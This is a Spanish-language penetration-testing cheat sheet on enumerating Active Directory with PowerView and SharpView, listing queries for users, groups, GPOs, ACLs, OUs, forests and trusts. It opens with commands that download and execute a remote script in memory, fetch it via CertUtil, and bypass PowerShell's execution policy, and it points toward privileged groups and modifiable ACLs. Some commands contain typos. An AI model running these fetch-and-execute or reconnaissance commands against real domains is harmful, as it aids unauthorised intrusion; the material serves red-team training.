Enumeración Activa del Active Directory (PowerView.ps1, SharView.exe)

Herramientas a utilizar

- PowerView.ps1
- SharpView

1. Se importa directamente en memoria (recomendado)

```
IEX(New-Object Net.WebClient).DownloadString('http://IP/PowerView.ps1')
```

2. Se almacena en la ruta C:\Users\Public\ y posteriormente lo importas

```
Invoke-WebRequest -Uri ('http:/IP/PowerView.ps1') -OutFile
C:\Users\Public\PowerView.ps1
cd C:\Users\Public\
Import-Module .\PowerView.ps1
```

3. Se almacena en la ruta actual y posteriormente lo importas

```
CertUtil -f -urlcache -split 'http://IP/PowerView.ps1'
Import-Module .\PowerView.ps1
```

Nota. Recuerda que la URL dependerá de donde solicites el recurso

Ahora vamos a ejecutar bypass para permitir la ejecución de script

```
powershell.exe -ep bypass
```

La siguiente lista de comando en PowerShell te permitirá enumerar la siguiente información:

- Usuarios
- Grupos
- Computadoras
- GPOs
- ACLs
- OUs
- Bosques

- Dominios
- Controladores de Dominio
- Confiazas

Enumeración de Usuarios

Esto enumera todas las propiedades de todos los usuarios existentes dentro del Active Directory

```
Get-Domainuser
```

Esto enumera solo propiedades seleccionadas

```
Get-Domainuser -Properties name,objectsid
```

Enumeración de Usuarios con filtros (Nombre-NombreCompleto-SID)

```
Get-DomainUser | select -ExpandProperty name,samaccountname,ObjectSid
```

Enumeras solo las piedades en un usuario en particular

```
Get-DomainUser -Identity "usuario_a_enumerar"
```

Enumeración de Computadoras

Esto enumera todas las propiedades de todas las computadoras existentes dentro del Active Directory

```
Get-DomainComputer
```

Esto enumera las propiedades seleccionadas dentro del Active Directory

```
Get-DomainComputer -Properties name,dnshostname,objectsid
```

```
Get-DomainComputer | select -ExpandProperty dnshostname
```

Enumeración de Grupos

Este comando enumera todos los groupos existentes en Active Directory

```
Get-DomainGroup
```

Para ver detalles del grupo Administradores de dominio:

```
Get-DomainGroup -Identity "Domain Admins"
```

Para enumerar los miembros del grupo Administradores de dominio(El grupo puede ser modificable en la busqueda)

```
Get-DomainGroupMember -Identity "Domain Admins"
```

Para enumerar los miembros del grupo Enterprise Admins

```
Get-DomainGroupMember -Identity "Enterprise Admins"
```

Cuando el dominio no es un dominio raíz, el comando anterior no devuelva nada. Necesitamos consultar el dominio raíz como Enterprise El grupo de administradores está presente solo en la raíz de un bosque.

```
Get-DomainGroupMember -Identity "Enterprise Admins" -Domain autonomiahcker.local
```

Enumeración de GPOs

Enumerar los GPO. Tenga en cuenta que el nombre (displayname) de las políticas de grupo puede puede ser diferente

```
Get-DomainGPO
```

Para enumerar las GPOs aplicadas a un usuario, utiliza el siguiente comando:

```
Get-NetGPO -User 'NombreDeUsuario'
```

Para enumerar las GPOs aplicadas a un equipo, utiliza el siguiente comando:

```
Get-NetGPO -Computer 'NombreDeEquipo'
```

Para enumerar las GPOs aplicadas al usuario actual, utiliza el siguiente comando:

```
Get-NetGPO -Username (Get-NetUser -Username 'NombreDeUsuario' -Domain
'NombreDeDominio').SID
```

Para enumerar las GPOs aplicadas al equipo actual, utiliza el siguiente comando:

```
Get-NetGPO -ComputerName $env:COMPUTERNAME -Domain 'NombreDeDominio'
```

Para enumerar todas las GPOs aplicadas en el dominio, utiliza el siguiente comando:

```
Get-NetGPO -Domain 'NombreDeDominio'
```

Saber la politicas que estan creadas en el dominio

```
Get-NetGPO | select displayname
```

Comando para ver que GPO afecta a grupos o computadoras

```
Get-NetGPOGroup
```

Ver las computadoras que están afectadas por la GPO

```
Find-GPOComputerAdmin -ComputerIdentity * | select computername,objectname
```

Enumeración de ACLs (Listas de Control de Acceso)

Para enumerar ACL, podemos usar Get-DomainObjectACL de PowerView vamos a enumerar las ACL para el Grupo de Administradores de Dominio(El grupo puede ser de su eleccion)

```
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose
```

Para comprobar si se pueden modificar los derechos/permisos para el usuarioX, podemos usar Find-InterestingDomainACL de PowerView

```
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match
```

```
"usuarioX"}
```

Si somos miembro del grupo RDPUsers o Xgrupo, compruebe los permisos también.

```
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match
"RDPUsers"}
```

comando para ver el objeto, el ACL toda la lista de accesos que tiene el grupo Domain Admins(El grupo puede ser de su eleccion)

```
Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs | select
securityidentifier,ActiveDirectoryRights,objectdn | f1
```

Enumeración de OUs

Enumerar todo las OU
```powershell
Get-DomainOU

Para ver solo los nombres de las OU
```powershell
Get-DomainOU | select -ExpandProperty name
```

Enumerar todas las computadoras en usuarioX OU(o cualquier computadora que quieras)

```
(Get-DomainOU -Identity pc-usuarioX).distinguishedname | %{Get-DomainComputer -
SearchBase $_} | select name
```

Enumeración de Bosques, Dominios y Controladores de Dominio

Enumera el Bosque

```
Get-Forest
```

Enumera los controladores de dominio existentes en dominio hijo o padre(esto dependerá donde estés posicionado)

```
Get-DomainController
```
```

Enumera los controladores de dominio del dominio padre

```
Get-DomainController -Domain dominiopadre.local
```

Enumeración de Confianzas

Enumera confianzas

```
Get-DomainTrust
```

Mapea las confianzas

```
Get-DomainTrustMapping
```

Enumerar solo las confianzas externos en dominio.local bosque

```
Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq
"FILTER_SIDS"}
```

Para identificar las confianzas externas del dominio corp.dominio.local, podemos utilice el siguiente comando:

```
Get-DomainTrust | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
```